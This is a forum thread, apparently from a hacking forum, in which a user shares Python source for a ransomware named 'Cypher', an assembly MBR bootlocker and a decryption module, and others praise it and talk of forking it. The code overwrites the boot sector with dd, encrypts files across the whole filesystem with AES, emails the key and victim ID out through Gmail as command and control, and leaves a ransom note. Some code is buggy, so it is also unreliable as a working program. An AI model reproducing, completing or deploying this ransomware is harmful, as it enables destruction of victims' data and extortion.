+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Python (https://sinister.ly/Forum-Python)
+--- Thread: Python based Ransomware. (/Thread-Python-based-Ransomware)
Python based Ransomware. - VectorSEC - 10-10-2016
Ethics of authoring malware aside. I think it is an interesting subject. As such i have a project in development that is basically a ransomware. Now i have never written one of these before so some improvements may be needed,
I decided to call my malware Cypher.
Cypher is a proof of concept ransomware which implements the PyCrpto module and uses gmail(Currently) as a sort of command and control server. It is a work in progress as of yet and i will be releasing updates periodically depending on the amount of time i have to work on the project. The general idea is that the personal files get encrypted and the bootsector gets overwritten with a custom bootloader. As of yet i am looking into writing the bootlocker directly to disk, since at the moment i am just calling `dd` from within the script.
Code:
# Cypher is a work in progress, as such this is an Alpha release of the encryption
# module, for reporting bugs feel free to open an issue or should you wish to
# collaborate on this, pull requests are welcomed as well.
import os
import sys
import random
import struct
import smtplib
import string
import datetime
import time
import getpass as gp
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from multiprocessing import Pool
# Function to generate our client ID
def gen_client_ID(size=12, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
ID = gen_client_ID(12)
key = RSA.generate(2048)
exKey = RSA.exportKey('PEM')
# Check to see if we're on linux and have root, if so use dd to override the MBR with our bootlocker.
if sys.platform == 'linux2' and gp.getuser() == 'root':
try:
os.system("dd if=boot.bin of=/dev/hda bs=512 count=1 && exit")
except:
pass
else:
try:
os.system("sudo dd if=boot.bin of=/dev/hda bs=512 count=1 && exit")
except:
pass
def send_ID_Key():
ts = datetime.datetime.now()
SERVER = "smtp.gmail.com"
PORT = 587
USER= "address@gmail.com" # Specify Username Here
PASS= "prettyflypassword" # Specify Password Here
FROM = USER
TO = ["address@gmail.com"]
SUBJECT = "Ransomware data: "+str(ts)
MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
try:
server = smtplib.SMTP()
server.connect(SERVER, PORT)
server.starttls()
server.login(USER, PASS)
server.sendmail(FROM, TO, message)
server.quit()
except Exception as e:
# print e
pass
def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
if not out_filename:
out_filename = in_filename + '.crypt'
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
encryptor = AES.new(key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += ' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def single_arg_encrypt_file(in_filename):
encrypt_file(key, in_filename)
def select_files():
ext = [".3g2", ".3gp", ".asf", ".asx", ".avi", ".flv",
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",
".rm", ".swf", ".vob", ".wmv" ".docx", ".pdf",".rar",
".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z", ".exe",
".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h",
".mov", ".gif", ".txt", ".py", ".pyc", ".jar"]
files_to_enc = []
for root, dirs, files in os.walk("/"):
for file in files:
if file.endswith(tuple(ext)):
files_to_enc.push(os.path.join(root, file))
# Parallelize execution of encryption function over four subprocesses
pool = Pool(processes=4)
pool.map(single_arg_encrypt_file, files_to_enc)
def note():
readme = """
.d8888b. 888
d88P Y88b 888
888 888 888
888 888 888 88888b. 88888b. .d88b. 888d888
888 888 888 888 "88b 888 "88b d8P Y8b 888P"
888 888 888 888 888 888 888 888 88888888 888
Y88b d88P Y88b 888 888 d88P 888 888 Y8b. 888
"Y8888P" "Y88888 88888P" 888 888 "Y8888 888
888 888
Y8b d88P 888
"Y88P" 888
Hello, unfortunately all your personal files have been encrypted with millitary grade encryption and will be impossible
to retrieve without aquiring the encryption key and decrypting binary.
As of yet these are not available to you since the Cypher ransomware is still under construction.
We thank you for your patience.
Have a nice day,
The Cypher Project."""
# Windows variant
# outdir = os.getenv('USERNAME') + "\\Desktop"
outdir = os.getenv('HOME') + "/Desktop/"
outfile = outdir + "README"
handler = open(outputfile, 'w')
handler.write(outfile, ID)
handler.close()
if __name__=="__main__":
gen_client_ID()
send_ID_Key()
try:
select_files()
note()
except Exception as e:
passBootlocker source in ASM.
Code:
[BITS 16]
[ORG 0x7C00]
MOV SI, Msg
CALL OutStr
JMP $
OutChar:
MOV AH, 0x0E
MOV BH, 0x00
MOV BL, 0x07
INT 0x10
RET
OutStr:
next_char:
MOV AL, [SI]
INC SI
OR AL, AL
JZ exit_function
CALL OutChar
JMP next_char
exit_function:
RET
Msg db 0xA, 0xD, 0xA, 0xD
db '########################################################', 0xA, 0xD
db '# Your harddrive is encrypted with military grade #', 0xA, 0xD
db '# encryption, you wont get your files back, since #', 0xA, 0xD
db '# the Cypher ransomware is still under construction #', 0xA, 0xD
db ' ', 0xA, 0xD
db '########################################################', 0xA, 0xD, 0xA, 0xD
db 'Unfortunately there are only 7 days left until the encryption key is destroyed.', 0xA, 0xD, 0xA, 0xD
db 'Have a nice day,', 0xA, 0xD
db ' The Cypher Project', 0
TIMES 510 - ($ - $$) db 0
DW 0xAA55The purpose of this thread would be to discuss ideas, better implementations and think about general improvements. This is a project intended for experimental and educational purposes. As such i would advise against deploying this malware in active engagement. Thank you for your understanding.
The project's github page can be found here.
RE: Python based Ransomware. - BreShiE - 10-11-2016
This was a pretty cool read-through. I lost sight of python a while back and forgot how powerful of a language it really is. I need to get back into it again.
RE: Python based Ransomware. - Inori - 10-11-2016
I've never thought of using email as a CI, nice thinking. I might fork this and mess around with it when I have some time on my hands.
RE: Python based Ransomware. - Bish0pQ - 10-11-2016
Thank you for sharing this, I am currently learning python and this could be fun to mess around with.
RE: Python based Ransomware. - VectorSEC - 11-04-2016
Sorry for my absence, i forgot i had a Sinister.ly account, lol. Anyway now that i am here again, i bring updates to this project in the form of bug fixes and the decryption module.
Code:
import os
import sys
import struct
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from multiprocessing import Pool
# Read in and decode keyfile
with open('privkey', 'r') as keyfile:
keyData = keyfile.read().replace('\n', '')
keyDER = b64decode(keyData)
key = RSA.importKey(keyDER)
def decrypt_file(key, in_filename, out_filename=None, chunksize=24*1024):
# Split .crypt extension to restore file format
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
# Truncate file to original size
outfile.truncate(origsize)
def single_arg_decrypt_file(in_filename):
decrypt_file(key, in_filename)
def select_files():
# Files to be decrypted are identified by .crypt extension
ext = ".crypt"
files_to_dec = []
for root, dirs, files in os.walk("/"):
for file in files:
if file.endswith(str(ext)):
files_to_dec.push(os.path.join(root, file))
# Parralelize execution of decrypting function over four sub processes
pool = Pool(processes=4)
pool.map(single_arg_decrypt_file, files_to_dec)
if __name__=="__main__":
select_files()RE: Python based Ransomware. - Despised - 11-04-2016
Currently experimenting with Python. Might play around with this for educational purposes.
RE: Python based Ransomware. - BadSnow - 01-09-2017
Thank you, I certainly will look into it!
RE: Python based Ransomware. - prankd - 01-12-2017
Might be intressting to make FTP functionality.
RE: Python based Ransomware. - silur - 02-01-2017
Despite my heavy disgust for ransomwares (I like coding malwares but ransom is the kind of hacking that's amateur and not elegant enough) the code is really elegant, I would have used more oneliner hacks but it's really nice!
Also keep in mind that the cypher name is already taken, but nice work